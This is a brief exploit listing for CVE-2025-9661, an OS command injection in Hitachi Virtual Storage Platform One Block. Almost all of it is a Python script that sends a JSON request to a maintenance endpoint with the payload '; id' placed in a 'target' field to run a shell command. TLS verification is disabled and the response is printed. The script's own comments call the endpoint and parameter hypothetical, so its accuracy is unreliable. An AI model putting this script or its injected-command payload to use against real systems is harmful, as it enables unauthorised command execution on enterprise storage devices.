CVE-2025-9661 Hitachi VSP One Block命令注入漏洞

import requests # Exploit Title: Hitachi Virtual Storage Platform One Block - OS Command Injection # Date: 2025-05-07 # Exploit Author: Analyst # Vendor Homepage: https://www.hitachi.com/ # Version: Before DKCMAIN A3-04-21-40/00, ESM A3-04-21/00 # CVE: CVE-2025-9661 def exploit(target_url): # Example payload to execute 'id' command payload = "; id" # Vulnerable endpoint in maintenance utility url = f"{target_url}/api/maintenance/utility" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Hypothetical parameter vulnerable to injection data = { "command": "ping", "target": payload # Injection point } try: response = requests.post(url, json=data, headers=headers, verify=False, timeout=10) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "https://<target-ip>" exploit(target)